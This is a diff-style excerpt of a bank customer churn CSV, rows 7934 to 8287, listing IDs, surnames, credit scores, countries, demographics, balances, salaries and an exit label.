+7934,15616088,Lucas,782,France,Female,70,7,97072.42,1,0,1,131177.22,0 +7935,15803886,Barber,629,Spain,Male,31,6,132876.55,1,1,1,130862.11,0 +7936,15587311,Dobbs,582,Spain,Male,33,6,0,2,0,1,72970.93,0 +7937,15617401,Thomson,468,France,Male,22,2,0,2,1,0,28123.99,0 +7938,15775886,Su,670,France,Male,36,3,0,1,1,0,140754.19,1 +7939,15807305,Watkins,805,France,Male,39,2,0,1,0,0,166650.32,0 +7940,15761717,Ch'ien,720,France,Male,26,10,51962.91,2,1,0,45507.24,0 +7941,15628008,Monds,781,Spain,Female,29,6,98759.89,1,0,0,112202.64,0 +7942,15583755,McClemans,592,Germany,Male,33,2,156570.86,1,1,1,37140.2,0 +7943,15661409,Shen,542,France,Female,42,1,0,1,1,1,178256.58,1 +7944,15774250,Gallo,532,France,Male,42,1,159024.71,1,1,0,100982.93,1 +7945,15681476,Foveaux,520,France,Female,39,1,73493.17,1,0,1,109626.13,1 +7946,15654870,Longo,759,France,Female,45,8,0,2,1,1,99251.24,0 +7947,15790448,Calabresi,473,France,Female,35,6,69617.36,1,1,0,143345.69,0 +7948,15785326,Randall,639,Spain,Female,35,5,136526.26,2,1,0,59653.03,0 +7949,15592854,Garcia,705,France,Male,25,3,113736.27,1,0,1,196864.61,0 +7950,15617486,Sullivan,530,France,Male,52,1,106723.28,1,0,0,109960.4,1 +7951,15806796,Higgins,516,Germany,Female,33,10,138847.9,1,1,1,127256.7,0 +7952,15644699,Crawford,850,France,Female,40,0,0,2,1,0,1099.95,0 +7953,15622305,Martin,746,Germany,Female,33,2,107868.14,2,1,1,146192.4,0 +7954,15608209,Currey,622,Germany,Male,33,3,96926.12,2,1,0,48553.77,0 +7955,15626898,Teng,743,France,Male,30,7,77599.23,1,0,0,144407.1,0 +7956,15644297,Austin,732,Germany,Male,38,5,178787.54,1,1,1,195760.53,0 +7957,15731569,Hudson,850,France,Male,81,5,0,2,1,1,44827.47,0 +7958,15582149,Ts'ui,850,Germany,Female,34,3,129668.43,2,1,1,88743.99,0 +7959,15802483,Hancock,686,France,Male,34,6,146178.13,2,1,1,88837.11,0 +7960,15686999,Nicholas,556,France,Female,40,8,0,2,1,0,62112.7,0 +7961,15772479,Napolitano,673,France,Male,37,4,0,2,0,0,163563.07,0 +7962,15778884,Jamieson,809,France,Female,38,2,154763.21,2,1,1,174800.31,0 +7963,15623630,Foster,634,Germany,Female,56,3,116251.24,1,0,1,42429.88,1 +7964,15774316,Moretti,630,France,Male,37,6,0,2,1,1,82647.65,0 +7965,15695097,Chiedozie,564,Germany,Female,30,0,100954.88,2,0,0,134175.15,0 +7966,15645404,Okwukwe,625,France,Female,51,4,124620.01,2,1,0,92243.94,1 +7967,15750574,Lumholtz,677,Spain,Female,34,4,0,2,1,1,6175.53,0 +7968,15636812,Rose,583,France,Male,40,9,112701.04,1,0,0,29213.63,0 +7969,15712068,Wan,592,Spain,Male,45,8,84692.5,1,0,1,67214.02,0 +7970,15652030,De Bernales,637,Germany,Male,49,2,108204.52,1,1,0,169037.84,1 +7971,15577398,Ch'eng,850,France,Male,30,6,86449.39,1,1,1,188809.23,0 +7972,15756848,Edmondson,633,Spain,Male,42,10,0,1,0,1,79408.17,0 +7973,15806929,Ch'ien,751,Germany,Male,36,5,73194.99,1,1,1,89222.66,0 +7974,15656005,Millar,592,Germany,Male,31,7,124593.23,1,1,0,86079.67,0 +7975,15722632,Dickson,716,Germany,Male,50,2,119655.77,1,1,1,12944.17,1 +7976,15794356,Toscani,641,Germany,Male,42,3,121765.37,2,1,1,166516.84,0 +7977,15659656,Pan,849,France,Male,35,4,110837.73,1,0,0,126419.8,0 +7978,15588341,Chigozie,647,Spain,Male,47,10,99835.17,1,0,1,89103.05,0 +7979,15709142,Sagese,608,Germany,Female,30,2,91057.37,2,1,0,132973.17,0 +7980,15627042,Reilly,555,France,Female,26,7,0,2,1,0,93122.41,0 +7981,15627517,Taylor,497,Spain,Male,27,7,149400.27,1,0,0,167522.19,0 +7982,15803032,Yen,599,Germany,Male,38,9,89111.63,1,0,0,157239.6,0 +7983,15665129,Kapustin,545,Germany,Male,33,1,132527.9,2,0,1,107429.71,0 +7984,15628272,Singh,774,France,Female,36,9,114997.42,1,1,0,75304.09,0 +7985,15678206,Yeh,464,France,Male,46,6,161798.53,1,1,0,182944.47,0 +7986,15678427,Genovese,696,Germany,Female,27,2,96129.32,2,1,1,5983.7,0 +7987,15678067,Boyle,667,Spain,Male,45,3,0,2,0,0,163655.01,0 +7988,15793331,Blair,812,France,Male,32,5,133050.97,2,1,0,89385.92,0 +7989,15699532,Okagbue,516,France,Male,51,8,120124.35,2,0,1,168773.54,0 +7990,15605827,Khan,645,France,Male,39,8,0,2,0,0,96864.36,0 +7991,15643635,Robertson,664,Spain,Male,32,5,133705.74,1,0,0,134455.84,0 +7992,15787710,Tikhonov,427,Spain,Female,39,9,0,2,1,0,28368.37,0 +7993,15614137,MacDonald,685,France,Female,40,7,0,2,1,0,103898.59,0 +7994,15754494,Ah Mouy,585,France,Female,33,4,152805.05,1,1,0,63239.65,0 +7995,15713440,Barese,519,Germany,Female,21,1,151701.45,3,1,1,170138.68,1 +7996,15803479,Winter-Irving,708,France,Female,67,1,0,2,0,1,3837.08,0 +7997,15709639,Wilson,717,France,Female,22,5,112465.06,1,1,1,92977.75,0 +7998,15601719,Fiorentino,465,Germany,Male,24,6,156007.09,1,1,0,191368.37,0 +7999,15772482,Iloerika,829,Germany,Male,28,3,132405.52,3,1,0,104889.2,1 +8000,15591489,Davison,826,France,Male,26,5,142662.68,1,0,0,60285.3,0 +8001,15629002,Hamilton,747,Germany,Male,36,8,102603.3,2,1,1,180693.61,0 +8002,15798053,Nnachetam,707,Spain,Male,32,9,0,2,1,0,126475.79,0 +8003,15753895,Blue,590,Spain,Male,37,1,0,2,0,0,133535.99,0 +8004,15595426,Madukwe,603,Spain,Male,57,6,105000.85,2,1,1,87412.24,1 +8005,15645815,Mills,615,France,Male,45,5,0,2,1,1,164886.64,0 +8006,15632848,Ferrari,634,France,Female,36,1,69518.95,1,1,0,116238.39,0 +8007,15703068,Nixon,716,Germany,Male,41,8,126145.54,2,1,1,138051.19,0 +8008,15791513,Manfrin,647,France,Male,41,4,138937.35,1,1,1,101617.64,1 +8009,15587210,McCartney,591,Germany,Female,44,10,113581.98,1,1,0,1985.41,0 +8010,15793803,Robinson,574,France,Male,34,1,112572.39,1,0,0,165626.6,0 +8011,15787756,Nkemdirim,467,Germany,Male,51,10,114514.71,2,1,0,177784.68,1 +8012,15723437,Sal,701,France,Female,35,2,0,2,1,1,65765.22,0 +8013,15702715,Kao,747,France,Female,34,10,0,2,1,1,50759.8,0 +8014,15809872,Ikechukwu,650,France,Male,32,2,84906.45,1,1,0,163216.48,0 +8015,15644295,Hargreaves,731,Spain,Female,39,2,126816.18,1,1,1,74850.93,0 +8016,15778694,Sievier,638,Germany,Female,26,1,105249.76,2,1,1,23491.09,0 +8017,15759555,Murphy,569,Spain,Male,41,2,0,2,1,0,134272.57,0 +8018,15631406,Munro,459,Germany,Male,50,5,109387.9,1,1,0,155721.15,0 +8019,15616676,Donnelly,632,Germany,Male,23,3,122478.51,1,1,0,147230.77,1 +8020,15771154,North,683,France,Female,73,8,137732.23,2,1,1,133210.44,0 +8021,15669491,Cruz,850,France,Female,46,2,157866.77,1,1,1,18986.12,0 +8022,15697691,Sinclair,512,France,Female,41,6,0,1,1,1,100507.81,0 +8023,15665180,Vasiliev,616,France,Female,31,3,136789.14,1,1,0,59346.4,1 +8024,15752588,Vasilyeva,664,France,Male,36,1,0,2,1,1,95372.64,0 +8025,15743051,Hamilton,694,France,Male,30,10,144684.03,1,1,1,31805.49,0 +8026,15571873,Sung,655,France,Male,24,9,107065.31,1,1,1,51959.82,0 +8027,15679743,Genovesi,607,France,Female,33,8,91301.72,1,0,1,130824.57,0 +8028,15769412,Atkinson,684,Spain,Male,39,4,207034.96,2,0,0,157694.76,1 +8029,15775124,Watterston,763,Spain,Male,37,8,0,2,1,1,933.38,0 +8030,15732113,Butters,671,Spain,Male,50,8,0,1,0,1,2560.11,0 +8031,15578141,Chien,592,Spain,Male,38,3,0,1,1,1,12905.89,1 +8032,15595874,Gorbunova,666,Spain,Female,36,6,0,2,1,0,176692.87,0 +8033,15755642,Bulgakov,667,France,Male,34,5,0,2,1,1,102908.63,0 +8034,15576526,Steele,850,Spain,Male,36,6,0,2,0,1,41291.05,0 +8035,15792489,Polyakova,622,Spain,Male,42,9,0,2,1,0,119127.06,0 +8036,15733705,Bull,577,France,Female,30,8,92472.1,2,0,1,126434.61,0 +8037,15807221,Weaver,555,Spain,Male,21,1,0,2,0,0,103901.35,0 +8038,15573045,Earl,547,France,Male,62,10,127738.75,2,1,1,85153,0 +8039,15756824,Giordano,613,Germany,Female,50,5,101242.98,2,1,0,12493.61,0 +8040,15773520,Begg,672,France,Female,43,4,92599.55,2,1,1,167336.78,0 +8041,15627439,Pickering,624,Spain,Female,36,10,0,2,0,1,186180.42,0 +8042,15701439,Fanucci,698,Spain,Female,50,1,0,4,1,0,88566.9,1 +8043,15785352,Chang,606,France,Male,37,6,82373.94,1,0,0,172526.9,1 +8044,15616525,Sopuluchi,720,Spain,Male,31,4,141356.47,1,0,0,137985.69,0 +8045,15717489,Martin,835,France,Male,23,9,0,1,1,0,19793.73,1 +8046,15795737,McNaughtan,771,Spain,Female,47,3,72664,2,1,1,107874.39,0 +8047,15693877,Stewart,811,France,Female,47,3,123365.34,2,0,0,171995.34,0 +8048,15576111,Reagan,734,Germany,Male,33,5,121898.58,1,1,0,61829.89,0 +8049,15595713,Heller,548,Spain,Male,33,6,0,1,1,1,31728.35,0 +8050,15808868,Nwokeocha,652,France,Female,31,3,103696.97,3,0,0,155221.05,1 +8051,15708193,Liu,707,France,Male,33,2,0,2,0,0,130866.95,0 +8052,15697801,Sokolova,605,Germany,Female,56,1,74129.18,2,1,1,62199.78,1 +8053,15770121,Bancroft,623,France,Female,34,9,0,1,1,0,24255.21,0 +8054,15800524,Nnanna,686,Germany,Male,29,3,185379.02,1,1,0,64679.07,0 +8055,15686236,Trevisani,525,Germany,Female,47,1,118087.68,1,1,0,88120.78,1 +8056,15659807,Nwachinemelu,657,Spain,Male,41,8,109402.13,1,1,1,66463.62,0 +8057,15736078,Ting,730,Germany,Female,33,7,130367.87,1,1,0,15142.1,1 +8058,15620836,Lo Duca,816,Germany,Female,34,2,108410.87,2,1,0,102908.91,0 +8059,15698184,Marshall,484,France,Female,50,2,90408.16,2,0,0,48170.57,0 +8060,15717643,Band,728,France,Female,34,6,90425.15,2,1,1,11597.69,0 +8061,15776596,Ferri,730,Spain,Female,39,6,140094.59,1,1,0,172450.04,1 +8062,15814757,Carter,477,Spain,Male,31,9,0,2,0,1,184061.17,0 +8063,15812607,Wilson,663,Germany,Female,46,6,95439.4,1,1,1,21038.58,1 +8064,15663888,Connor,549,Germany,Male,34,6,204017.4,2,1,0,109538.35,0 +8065,15748882,Reid,714,Spain,Male,29,9,0,2,1,0,129192.55,0 +8066,15690829,Sandefur,430,Germany,Male,49,3,137115.16,1,1,0,146516.86,1 +8067,15695819,Bidwill,504,Germany,Male,43,5,134740.19,2,1,0,181430.91,0 +8068,15696834,Cone,530,France,Female,29,5,0,2,0,0,121451.21,0 +8069,15797710,Saunders,619,Germany,Male,29,4,98955.87,1,0,1,131712.51,0 +8070,15700654,Liardet,617,Germany,Male,44,9,49157.09,2,1,0,53294.17,0 +8071,15583764,Wilkes,791,Germany,Male,31,1,130240.33,1,0,0,96546.55,0 +8072,15688849,Martin,609,France,Male,48,1,108019.27,3,1,1,184524.65,1 +8073,15661473,Boni,780,Germany,Male,51,4,126725.25,1,1,0,195259.31,1 +8074,15601030,Patel,777,Germany,Female,34,5,96693.66,1,1,1,172618.52,0 +8075,15789557,Howell-Price,817,Germany,Female,27,7,129810.6,1,1,1,59259.44,0 +8076,15745250,Simpson,850,France,Male,58,8,156652.13,1,0,0,25899.21,1 +8077,15590349,Rowland,732,France,Female,36,9,0,1,0,0,3749,1 +8078,15741693,Barnard,693,France,Male,40,4,130661.96,1,1,1,101918.96,0 +8079,15618446,Nnonso,576,France,Female,50,8,0,2,1,1,57802.62,0 +8080,15766552,Rossi,643,France,Male,37,6,0,2,0,0,142454.77,0 +8081,15668775,Pendred,757,France,Male,47,3,130747.1,1,1,0,143829.54,0 +8082,15757895,Martin,569,Germany,Male,30,6,106629.49,1,0,1,44114.88,0 +8083,15774551,K?,772,Spain,Male,36,3,112029.83,1,1,1,186948.35,0 +8084,15684011,Miller,576,Germany,Male,29,7,130575.26,1,0,1,173629.78,0 +8085,15736146,Afamefula,608,Germany,Male,28,4,96679.71,1,1,1,49133.45,0 +8086,15656286,Sims,794,France,Male,33,0,0,2,0,0,178122.71,0 +8087,15774847,Knight,593,France,Male,50,6,171740.69,1,0,0,20893.61,0 +8088,15619340,Obijiaku,597,Spain,Male,38,1,0,2,1,0,41303.29,0 +8089,15815656,Hopkins,541,Germany,Female,39,9,100116.67,1,1,1,199808.1,1 +8090,15623357,Onio,692,Germany,Male,24,2,120596.93,1,0,1,180490.53,0 +8091,15601324,Black,697,France,Female,48,1,0,2,1,1,87400.53,0 +8092,15715510,Eluemuno,768,France,Male,29,2,95984.69,2,1,1,73686.75,0 +8093,15663770,Doyle,802,France,Male,38,1,142557.11,1,1,1,172497.73,0 +8094,15779267,Onyemere,584,France,Male,47,5,0,2,1,0,89286.29,0 +8095,15597957,Rahman,614,Spain,Male,66,2,0,2,0,1,180082.7,0 +8096,15584620,Su,850,Germany,Female,36,6,143644.16,1,1,0,22102.25,1 +8097,15750772,Walker,671,France,Female,38,6,132129.72,1,0,1,76068.95,0 +8098,15706557,Ferguson,626,France,Female,52,0,0,2,1,0,32159.46,1 +8099,15594391,Samaniego,770,France,Female,68,2,183555.24,1,0,0,159557.28,1 +8100,15661656,Onwumelu,633,France,Male,38,2,91902.56,2,1,1,107673.35,0 +8101,15631217,Young,663,France,Male,40,6,156218.19,1,0,1,33607.72,0 +8102,15588955,Mazzi,581,Germany,Female,43,5,93259.57,3,1,0,141035.65,1 +8103,15758252,Toscano,561,Germany,Female,45,2,168085.38,2,0,1,115719.08,0 +8104,15740223,Walton,479,Germany,Male,51,1,107714.74,3,1,0,86128.21,1 +8105,15805413,Chiang,769,France,Female,31,6,117852.26,2,1,0,147668.64,0 +8106,15635116,Burgos,659,Spain,Male,60,2,0,1,1,0,177480.45,1 +8107,15764892,Spinelli,590,Spain,Female,51,10,84474.62,2,1,1,190937.09,0 +8108,15795936,Lung,560,France,Male,50,3,0,2,1,0,84531.79,0 +8109,15655232,Noble,437,Germany,Male,35,6,126803.34,2,1,1,161133.4,0 +8110,15640133,Pai,661,France,Female,34,0,0,2,1,0,185555.63,0 +8111,15751524,Chigozie,677,Germany,Female,36,10,68806.84,1,1,0,33075.24,0 +8112,15670552,Peavy,560,France,Female,31,3,115141.18,1,1,0,39806.75,0 +8113,15623966,Yermakov,578,France,Female,35,2,0,2,0,1,26389.92,0 +8114,15752193,Burton,421,Spain,Male,34,6,90723.36,1,1,1,12162.76,0 +8115,15607269,Costa,492,Germany,Female,49,2,151249.45,2,1,1,167237.94,0 +8116,15700752,Pugliesi,545,France,Female,32,6,0,2,1,1,52067.37,0 +8117,15777901,Lindell,640,Germany,Female,43,9,94752.49,1,1,0,184006.36,1 +8118,15639117,Sorenson,624,Spain,Female,34,6,0,1,1,0,582.59,1 +8119,15720203,Arcuri,577,Spain,Male,28,7,0,1,1,0,143274.41,0 +8120,15586236,Banks,704,France,Male,31,5,132084.66,3,1,1,54474.48,1 +8121,15676645,Parry,523,France,Male,45,5,0,2,1,1,121428.2,0 +8122,15715988,Cockett,793,France,Male,35,2,0,2,1,1,79704.12,0 +8123,15603749,Galkina,564,France,Female,53,2,45472.28,1,1,1,41055.71,1 +8124,15608956,Su,711,France,Male,33,1,0,1,0,0,41590.4,0 +8125,15733872,Marino,791,Germany,Female,33,10,130229.71,2,0,0,54019.93,1 +8126,15666982,Spears,629,Germany,Female,38,9,123948.85,1,1,0,76053.07,0 +8127,15602647,Cunningham,729,Germany,Male,39,6,127415.85,1,1,1,184977.2,1 +8128,15623063,Taylor,651,Germany,Male,35,8,110067.71,1,1,0,127678.95,1 +8129,15682928,Chiazagomekpere,695,Spain,Male,39,4,65521.2,1,1,1,1243.97,0 +8130,15729246,Hardacre,847,Spain,Male,31,5,0,2,1,1,76326.67,0 +8131,15588928,Maslow,704,France,Male,47,5,0,2,1,1,145338.61,0 +8132,15803352,Scott,613,Germany,Male,33,3,155736.42,2,1,1,57751.21,0 +8133,15607485,Wakelin,692,Spain,Female,29,4,0,2,0,0,138880.24,0 +8134,15656249,Esposito,720,France,Female,34,3,118307.57,2,1,1,136120.29,0 +8135,15761783,Shah,577,France,Male,41,6,0,1,1,1,167621.18,0 +8136,15716605,Chukwufumnanya,710,Germany,Female,24,7,103099.17,2,1,0,173276.62,0 +8137,15757425,Fleming,716,France,Female,38,1,0,2,1,1,99661.46,0 +8138,15603096,Lori,410,France,Male,33,6,125789.69,1,0,0,66333.56,1 +8139,15588580,Kennedy,584,Germany,Female,36,4,109646.83,1,1,1,70240.79,0 +8140,15770539,Walters,792,France,Male,30,1,127187.86,1,1,1,113553.42,0 +8141,15572022,Han,605,France,Female,36,6,0,1,0,1,690.84,0 +8142,15571843,Lawrence,486,Spain,Male,24,1,0,1,1,0,98802.76,0 +8143,15752502,Cooke,615,France,Male,41,4,130385.82,1,0,1,130661.95,0 +8144,15609058,Wan,676,France,Male,23,1,107787.47,1,0,1,116378.82,0 +8145,15775108,Lo Duca,571,France,Male,34,1,99325.04,2,0,1,186052.15,0 +8146,15708904,Yermakova,850,France,Female,37,9,0,1,0,0,100101.06,0 +8147,15600086,Combs,717,France,Male,48,7,123764.95,1,1,1,169952.82,0 +8148,15814675,Chien,642,Germany,Female,39,8,128264.03,1,1,0,61792.76,1 +8149,15572777,Meng,780,Spain,Male,47,7,86006.21,1,1,1,37973.13,0 +8150,15585106,Calabresi,492,Germany,Female,38,8,57068.43,2,1,0,188974.81,0 +8151,15738936,Stevenson,760,Germany,Male,29,5,103607.24,2,0,1,86334.64,0 +8152,15750970,Davidson,500,Spain,Male,40,1,99004.24,1,1,1,152845.99,0 +8153,15725772,Ch'in,654,Spain,Female,36,2,0,2,1,1,146652.11,0 +8154,15692106,Rose,606,Spain,Female,25,3,147386.72,3,1,0,45482.04,1 +8155,15791533,Ch'ien,367,Spain,Male,42,6,93608.28,1,1,0,168816.73,1 +8156,15715715,Artyomova,799,Spain,Male,38,2,0,2,1,1,59297.34,0 +8157,15785576,Mayrhofer,434,Germany,Male,71,9,119496.87,1,1,0,125848.88,0 +8158,15798834,Yefremov,719,Spain,Female,32,7,0,1,0,0,76264.27,0 +8159,15744127,Kosovich,641,France,Female,37,2,0,2,1,0,3939.87,0 +8160,15637427,Lu,461,Spain,Female,25,6,0,2,1,1,15306.29,0 +8161,15576990,Taplin,790,Germany,Female,25,5,152885.77,1,1,0,58214.79,0 +8162,15615352,Ebelechukwu,588,France,Male,31,4,99607.37,2,0,1,35877.03,0 +8163,15647333,Fleming,621,France,Male,27,4,137003.68,1,1,0,21254.06,0 +8164,15572050,Yefimov,768,Germany,Male,48,3,122831.58,1,1,1,24533.89,1 +8165,15581370,Andreyeva,681,Spain,Male,38,2,99811.44,2,1,0,23531.5,0 +8166,15813503,Pickering,606,Spain,Male,37,8,154712.58,2,1,0,89099.18,0 +8167,15769783,Allan,542,Spain,Male,37,8,0,1,1,1,807.06,0 +8168,15793135,Wang,713,Germany,Female,24,7,147687.24,1,1,1,121592.5,0 +8169,15599182,Reynolds,597,Spain,Female,33,2,0,2,1,1,4700.66,0 +8170,15689517,Hales,635,France,Male,27,3,127009.83,1,1,0,161909.95,0 +8171,15641366,Y?an,599,Germany,Male,61,1,124737.96,1,0,1,90389.61,1 +8172,15588859,Rowley,496,Spain,Female,44,0,179356.28,2,1,0,2919.21,1 +8173,15732293,Chia,759,Spain,Male,31,8,0,2,1,1,99086.74,0 +8174,15568032,Moore,757,Germany,Male,31,1,127320.36,3,1,0,163170.32,0 +8175,15623525,Copeland,564,Spain,Male,31,0,125175.58,1,1,1,72757.33,0 +8176,15606601,Rishel,561,France,Female,22,6,186788.96,2,1,0,73286.8,0 +8177,15800811,Wan,702,France,Male,40,3,148556.74,1,0,1,146056.29,0 +8178,15610711,Eluemuno,678,Germany,Female,40,8,128644.46,1,0,0,167673.37,0 +8179,15809654,Hsia,707,France,Female,46,7,127476.73,2,1,1,146011.55,0 +8180,15576077,Kelly,610,France,Female,27,9,159561.93,1,0,1,103381.47,0 +8181,15643378,Muir,744,France,Male,42,1,112419.92,1,1,1,83022.92,0 +8182,15566790,McIntyre,598,France,Male,28,8,129991.76,2,0,1,46041.08,0 +8183,15774402,Donaldson,562,Spain,Male,36,5,0,1,0,1,182843.24,0 +8184,15694641,Wright,621,Spain,Female,59,2,0,2,1,1,171364.18,0 +8185,15605916,Uvarova,659,France,Female,50,3,0,1,1,0,183399.12,1 +8186,15812356,Doherty,722,Germany,Female,40,6,89175.06,2,0,1,152883.95,0 +8187,15644179,Allen,606,France,Female,39,3,0,2,1,0,50560.45,1 +8188,15771674,Ma,603,Spain,Female,39,5,162390.52,2,1,0,54702.66,0 +8189,15623314,Tucker,506,Germany,Female,59,3,190353.08,1,1,0,78365.75,0 +8190,15613292,Ch'eng,715,France,Male,21,8,0,2,1,0,68666.63,0 +8191,15813871,Hs?,690,France,Male,47,2,0,2,1,0,151375.73,0 +8192,15759480,H?,644,France,Female,40,10,139180.97,1,1,1,19959.67,0 +8193,15587712,Chimaijem,589,France,Male,36,8,114435.47,1,1,0,26955.72,0 +8194,15671165,Esomchi,592,France,Female,66,5,149950.19,1,1,1,76267.59,0 +8195,15620746,Lorenzo,632,France,Male,42,4,126115.6,1,1,0,100998.5,0 +8196,15706537,Pirogov,577,Germany,Female,59,7,111396.97,1,0,1,191070.01,0 +8197,15589312,Larkin,588,France,Male,30,3,115007.08,1,0,0,176858.5,0 +8198,15741180,Eddy,617,France,Male,54,6,102141.9,1,1,1,45325.26,0 +8199,15733888,Sells,668,Spain,Female,36,3,133686.52,1,1,0,190958.48,1 +8200,15798532,Crawford,810,France,Male,32,9,120879.73,2,0,1,78896.59,0 +8201,15577359,Bezrukov,767,Spain,Male,47,5,0,1,1,0,121964.46,1 +8202,15614936,Mancini,718,Spain,Female,49,10,82321.88,1,0,1,11144.4,0 +8203,15747647,Iadanza,589,Spain,Female,27,4,0,2,1,0,144181.48,0 +8204,15588566,Wilkinson,778,Spain,Male,33,5,116474.28,2,1,1,32757.55,0 +8205,15570141,P'eng,724,France,Female,34,3,132352.69,1,1,0,80320.3,0 +8206,15800793,St Clair,477,Germany,Female,39,4,182491.57,1,1,0,185830.72,0 +8207,15572415,Preston,580,France,Male,34,6,0,2,1,1,160095.31,0 +8208,15635125,Findlay,566,Spain,Male,63,2,120787.18,2,1,1,52198.84,0 +8209,15636551,Nixon,711,France,Female,29,3,130181.47,2,1,0,31811.44,0 +8210,15600912,Gorshkov,706,Germany,Male,32,5,88348.43,2,1,1,104181.78,0 +8211,15768476,Chukwubuikem,703,Spain,Male,31,6,0,2,1,1,67667.19,0 +8212,15650266,Medvedeva,679,Germany,Male,39,2,146186.28,2,1,1,193974.47,0 +8213,15621004,Chukwuhaenye,603,France,Male,32,7,0,1,1,0,198055.94,1 +8214,15748352,Endrizzi,598,Spain,Male,34,0,104488.17,1,0,1,43249.67,0 +8215,15788920,Ch'ang,836,Germany,Female,32,4,109196.67,2,1,0,55218.02,0 +8216,15743236,Piccio,687,France,Female,61,7,80538.56,1,1,0,131305.37,1 +8217,15637717,Lockington,704,Germany,Male,41,4,109026.8,2,1,1,43117.1,0 +8218,15635500,Seleznyov,605,Germany,Male,75,2,61319.63,1,0,1,186655.11,0 +8219,15634792,Weston,516,France,Female,40,9,0,2,0,1,33266.29,0 +8220,15607560,Groom,572,France,Female,39,2,0,2,1,1,555.28,0 +8221,15727177,Manfrin,557,France,Male,42,6,177822.03,1,1,0,150944.31,1 +8222,15774358,Robertson,443,Germany,Male,59,4,110939.3,1,1,0,72846.58,1 +8223,15791304,Ch'ang,604,Germany,Male,25,7,165413.43,1,1,1,35279.74,0 +8224,15603328,Lucchesi,483,France,Male,27,1,77805.66,1,1,1,2101.89,0 +8225,15804937,Cambage,702,France,Male,50,3,0,2,0,0,94949.84,0 +8226,15804142,Tan,670,Spain,Female,57,3,175575.95,2,1,0,99061.75,1 +8227,15608845,Tao,804,Spain,Female,38,3,124197.22,1,1,0,74692.06,0 +8228,15702434,Hsieh,850,France,Female,30,3,0,2,1,0,116692.8,0 +8229,15632609,Burdekin,554,France,Female,39,10,160132.75,1,1,0,32824.15,0 +8230,15603550,Longo,588,Germany,Female,37,7,70258.88,2,1,0,139607.61,0 +8231,15755239,Maughan,758,Germany,Male,32,4,162657.64,2,1,1,115525.13,0 +8232,15670528,Franz,787,Germany,Male,43,0,132217.45,1,1,0,20955.03,1 +8233,15732704,Piazza,582,Spain,Male,25,9,148042.97,2,1,0,52341.15,0 +8234,15589019,Morant,633,Spain,Female,33,4,92855.02,1,1,1,159813.18,0 +8235,15677796,Becher,766,Germany,Male,47,9,129289.98,1,1,0,169935.46,1 +8236,15760177,Lombardi,564,Spain,Male,37,9,100252.18,1,1,1,146033.52,0 +8237,15636595,Loton,602,Spain,Male,37,3,107592.89,2,0,1,153122.73,0 +8238,15737275,Conti,649,France,Male,39,3,113096.41,1,1,1,60335.24,0 +8239,15672905,Sani,679,Spain,Female,40,7,0,2,1,1,163757.29,0 +8240,15753955,Lori,639,Spain,Male,34,7,149940.04,2,0,0,156648.81,0 +8241,15708504,Wong,790,Germany,Male,50,8,121438.58,1,1,1,176471.78,1 +8242,15592451,Lombardi,565,France,Male,32,9,0,2,1,0,5388.3,0 +8243,15790455,Obialo,478,France,Female,50,2,0,1,0,1,93332.64,1 +8244,15572174,Mazzi,825,France,Male,29,3,148874.01,2,0,1,71192.82,0 +8245,15656330,Von Doussa,528,Spain,Female,32,0,68138.37,1,1,1,170309.19,0 +8246,15569626,Miller,577,Spain,Male,35,5,110080.3,1,1,1,109794.31,0 +8247,15608726,Miracle,663,France,Male,24,7,0,2,1,1,166310.82,0 +8248,15637366,Su,505,Germany,Female,25,5,114268.85,2,1,1,126728.27,0 +8249,15778049,Wyatt,633,Germany,Male,29,6,117412.35,1,0,0,30338.94,0 +8250,15727421,Anayolisa,586,France,Female,38,6,0,2,1,1,37935.83,0 +8251,15688865,Wade,850,France,Female,35,9,0,2,0,0,25329.48,0 +8252,15751032,Enemuo,629,Germany,Female,37,1,35549.81,2,0,0,49676.33,0 +8253,15734737,Bruno,744,France,Male,56,9,0,2,1,1,169498.61,0 +8254,15746515,Greece,750,France,Male,36,7,136492.92,3,1,1,26500.29,1 +8255,15664311,Yang,637,Germany,Male,28,3,123675.69,1,1,1,166458.41,0 +8256,15708139,Brown,575,France,Female,40,1,139532.34,1,1,0,181294.39,0 +8257,15768574,Anderson,671,Spain,Male,58,1,178713.98,1,1,1,21768.21,0 +8258,15738018,Johnston,571,France,Male,40,5,0,2,0,0,72849.29,0 +8259,15699753,Zakharov,590,France,Male,41,1,89086.31,1,1,0,24499.97,0 +8260,15703199,Golibe,619,Spain,Male,38,3,96143.47,1,0,0,98994.92,0 +8261,15627830,Nikitina,640,Germany,Female,30,5,32197.64,1,0,1,141446.01,0 +8262,15570855,Leonard,670,France,Male,38,7,0,2,1,1,77864.41,0 +8263,15772503,Burns,737,France,Female,33,4,0,2,1,0,115115.32,0 +8264,15584453,Burtch,555,Spain,Male,32,10,0,2,0,1,168605.96,0 +8265,15710111,Clark,742,France,Male,33,6,0,2,0,0,38550.4,0 +8266,15618562,Woodward,618,Germany,Female,40,0,140306.38,1,1,0,160618.61,1 +8267,15706764,Spencer,560,France,Female,35,1,0,2,1,0,3701.63,0 +8268,15798737,Chao,654,France,Male,38,8,0,2,1,0,88659.44,0 +8269,15712608,Costa,787,Germany,Female,42,2,74483.97,2,0,1,44273.91,0 +8270,15636736,McLachlan,611,France,Female,53,7,0,2,0,1,156495.39,1 +8271,15703544,Hung,559,Spain,Male,34,0,0,1,1,0,182988.94,0 +8272,15815645,Akhtar,481,France,Male,37,8,152303.66,2,1,1,175082.2,0 +8273,15705739,Toscani,753,Germany,Male,32,5,159904.79,1,1,0,148811.14,0 +8274,15709643,Gray,675,France,Male,32,1,0,3,1,0,85901.09,0 +8275,15669805,Warren,748,Germany,Female,31,1,99557.94,1,1,0,199255.32,0 +8276,15737489,Ramsden,610,Spain,Female,46,5,116886.59,1,0,0,107973.44,0 +8277,15775131,Bartlett,580,Spain,Male,32,9,142188.2,2,0,1,128028.6,0 +8278,15765283,Wenz,624,Germany,Female,40,3,149961.99,2,1,0,104610.86,0 +8279,15628715,Kisch,709,France,Female,36,8,0,2,1,1,69676.55,0 +8280,15813283,Mai,605,France,Female,34,2,0,1,0,0,35982.42,0 +8281,15745716,McGregor,706,Spain,Male,53,7,0,2,0,1,117939.17,0 +8282,15598485,Pinto,567,Spain,Male,40,8,28649.64,1,1,1,95140.62,0 +8283,15696552,Newman,747,France,Female,21,4,81025.6,2,1,0,167682.57,0 +8284,15754569,Pagnotto,664,France,Male,57,1,0,2,1,1,56562.57,0 +8285,15701741,Williams,711,France,Female,39,3,152462.79,1,1,0,90305.97,0 +8286,15572631,Ndubuisi,609,France,Male,25,10,0,1,0,1,109895.16,0 +8287,15636069,Plummer,632,Spain,Male,28,7,155519.59,1,1,0,1843.24,0 